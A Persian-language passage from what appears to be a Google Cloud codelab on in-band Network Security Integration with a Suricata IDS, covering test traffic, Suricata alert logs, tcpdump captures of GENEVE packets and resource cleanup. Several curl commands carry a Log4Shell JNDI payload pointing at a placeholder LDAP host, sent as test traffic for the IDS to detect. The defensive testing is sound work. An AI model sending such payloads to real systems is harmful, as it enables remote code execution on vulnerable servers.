curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
خروجی مورد انتظار:
000
کد پاسخ HTTP 000 یک کد غیررسمی و غیراستاندارد است که توسط نرمافزارهای خاص استفاده میشود تا نشان دهد که هیچ کد وضعیت HTTP معتبری دریافت نشده است. این احتمالاً به این معنی است که درخواست توسط فایروال مسدود شده است.
- با خروج از جلسه SSH به Cloud Shell برگردید
exit
- اتصال SSH به ماشین مجازی در $zoneb (consumer-$zoneb)
gcloud compute ssh consumer-$zoneb \ --zone $zoneb
- به طور مشابه، ترافیک آزمایشی ارسال کنید:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
خروجی مورد انتظار:
200
- ارسال درخواست log4j:
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
خروجی مورد انتظار:
000
- با خروج از جلسه SSH به Cloud Shell برگردید
exit
- اتصال SSH به ماشین مجازی در $zonec (consumer-$zonec)
gcloud compute ssh consumer-$zonec \ --zone $zonec
- به طور مشابه، ترافیک آزمایشی ارسال کنید:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
خروجی مورد انتظار:
200
- ارسال درخواست log4j:
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
خروجی مورد انتظار:
200
توجه داشته باشید که این درخواست ارسال شد. این مورد قابل پیشبینی بود زیرا شما NSI را با $zonec پیکربندی نکردهاید. گروه نقطه پایانی Intercept فقط برای $zonea و $zoneb ارتباط دارد.
- با خروج از جلسه SSH به Cloud Shell برگردید
exit
اعتبارسنجی درخواستهای مخرب دریافتی توسط Suricata و مسدود کردن آنها
- برای بررسی لاگها، به ماشین مجازی Suricata در $zonea (suricata-$zonea) از طریق SSH متصل شوید:
gcloud compute ssh suricata-$zonea \ --zone $zonea
- مشاهدهی گزارشهای فیلتر شده بر اساس نوع حمله:
cat /var/log/suricata/eve.json | grep log4j
ممکن است برخی ورودیها را مشاهده کنید. اگر هیچ ورودی مشاهده نکردید، گزارشهای مربوط به ماشین مجازی Suricata را در $zoneb بررسی کنید. نمونه خروجی:
{"timestamp":"2025-01-22T19:54:37.347753+0000","flow_id":905867843361350,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.2","src_port":58740,"dest_ip":"74.125.197.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:46:12.023110+0000"}}
- با خروج از جلسه SSH به Cloud Shell برگردید
exit
به صورت اختیاری، میتوانید از طریق SSH به ماشین مجازی Suricata در $zoneb (suricata-$zoneb) متصل شوید و لاگها را اعتبارسنجی کنید.
gcloud compute ssh suricata-$zoneb \ --zone $zoneb
مشاهدهی گزارشهای فیلتر شده بر اساس نوع حمله:
cat /var/log/suricata/eve.json | grep log4j
خروجی نمونه:
{"timestamp":"2025-01-22T19:56:59.374251+0000","flow_id":552447884886066,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.4","src_port":52072,"dest_ip":"74.125.135.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:50:07.098354+0000"}}
علاوه بر این، ضبط بستهها روش خوبی برای مشاهده و اعتبارسنجی ترافیک خواهد بود.
این دستور بستههای GENEVE را فیلتر میکند. نمونه دستور:
sudo tcpdump -i any -nn udp port 6081
حالا چند ترافیک آزمایشی از یک ماشین مجازی مصرفکننده ارسال کنید. نمونه خروجی:
05:53:50.719074 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.719190 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.728752 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0 05:53:50.728785 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0
توجه داشته باشید که با tcpdump میتوانید هدرهای GENEVE را مشاهده کنید. IP منبع، IP مربوط به دروازه زیرشبکه (10.0.0.1) و IP مقصد، IP مربوط به قانون ارسال (10.0.0.11 یا 10.0.0.12) است. بستههای کپسولهشده حاوی بستههای اصلی هستند - IP کلاینت consumer-$zonea (192.168.0.2) یا consumer-$zoneb (192.168.0.3) و مقصد google.com. این تأیید میکند که بستهها رهگیری شده و از طریق یکپارچهسازی امنیت شبکه به دستگاه شخص ثالث ارسال میشوند.
- با خروج از جلسه SSH به Cloud Shell برگردید
exit
تبریک میگویم. شما با موفقیت محیطی را با یکپارچهسازی امنیت شبکه (NSI) درون باندی مستقر و آزمایش کردهاید.
۵. تمیز کردن
مصرف کننده
ماشینهای مجازی مصرفکننده را حذف کنید:
gcloud compute instances delete consumer-$zonea \ --zone $zonea -q gcloud compute instances delete consumer-$zoneb \ --zone $zoneb -q gcloud compute instances delete consumer-$zonec \ --zone $zonec -q
حذف ارتباط و خطمشی فایروال:
gcloud compute network-firewall-policies associations delete \
--firewall-policy consumer-fwpolicy \
--name consumer-fwpolicy-association \
--global-firewall-policy -q
gcloud compute network-firewall-policies delete consumer-fwpolicy \
--global -q
حذف گروه پروفایل امنیتی و پروفایل امنیتی:
gcloud network-security security-profile-groups delete nsi-spg \
--organization=$org_id \
--project=$project_id \
--location=global -q
gcloud network-security security-profiles custom-intercept delete nsi-intercept-profile \
--organization $org_id \
--location global -q
حذف ارتباط نقاط پایانی و رهگیری گروههای نقاط پایانی:
gcloud network-security intercept-endpoint-group-associations delete nsi-endpoint-group-assoc \
--location global -q
gcloud network-security intercept-endpoint-groups delete nsi-endpoint-group \
--location global -q
حذف Cloud NAT، Cloud Router و Reserved IP
gcloud compute routers nats delete consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region -q
gcloud compute routers delete consumer-$region-cr \
--region=$region -q
gcloud compute addresses delete consumer-$region-cloudnatip \
--region=$region -q
VPC و زیرشبکهها را حذف کنید
gcloud compute networks subnets delete consumer-$region-subnet \ --region $region -q gcloud compute networks delete consumer-vpc -q
تهیهکننده
حذف استقرارهای رهگیری:
gcloud network-security intercept-deployments delete nsi-deployment-$zonea \
--location $zonea -q
gcloud network-security intercept-deployments delete nsi-deployment-$zoneb \
--location $zoneb -q
حذف گروه استقرار intercept (قبل از موفقیت این دستور، حذف استقرارهای intercept باید به پایان برسد):
gcloud network-security intercept-deployment-groups delete producer-nsi-deployment-group \
--location global -q
حذف قوانین ارسال:
gcloud compute forwarding-rules delete producer-fr-$zonea \ --region=projects/$project_id/regions/$region -q gcloud compute forwarding-rules delete producer-fr-$zoneb \ --region=projects/$project_id/regions/$region -q
حذف IP رزرو شده قانون ارسال:
gcloud compute addresses delete producer-fr-$zonea-ip \
--region $region -q
gcloud compute addresses delete producer-fr-$zoneb-ip \
--region $region -q
حذف سرویس بکاند:
gcloud compute backend-services delete producer-bes \ --region=projects/$project_id/regions/$region -q
حذف گروههای نمونه مدیریت نشده:
gcloud compute instance-groups unmanaged delete producer-$zonea-uig \ --zone $zonea -q gcloud compute instance-groups unmanaged delete producer-$zoneb-uig \ --zone $zoneb -q
حذف بررسی سلامت:
gcloud compute health-checks delete nva-hc -q
ماشینهای مجازی تولیدکننده را حذف کنید:
gcloud compute instances delete suricata-$zonea \ --zone $zonea -q gcloud compute instances delete suricata-$zoneb \ --zone $zoneb -q
Cloud NAT، Cloud Router و Reserved IP را حذف کنید:
gcloud compute routers nats delete producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region -q gcloud compute routers delete producer-$region-cr \ --region=$region -q gcloud compute addresses delete producer-$region-cloudnatip --region=$region -q
حذف ارتباط سیاست FW:
gcloud compute network-firewall-policies associations delete \
--firewall-policy producer-fwpolicy \
--name producer-fwpolicy-association \
--global-firewall-policy -q
حذف سیاست FW:
gcloud compute network-firewall-policies delete producer-fwpolicy \ --global -q
VPC و Subnet را حذف کنید
gcloud compute networks subnets delete producer-$region-subnet \ --region=$region -q gcloud compute networks delete producer-vpc -q
۶. تبریک میگویم!
تبریک میگوییم، شما با موفقیت ادغام امنیت شبکه درون باند با Suricata codelab را به پایان رساندید.
ویدیوهای نمایشی ویژه فروشندگان درون باند NSI را تماشا کنید:
برخی از راهنماهای استقرار خاص فروشنده را که ممکن است برای سازمان شما مرتبط باشد، بررسی کنید: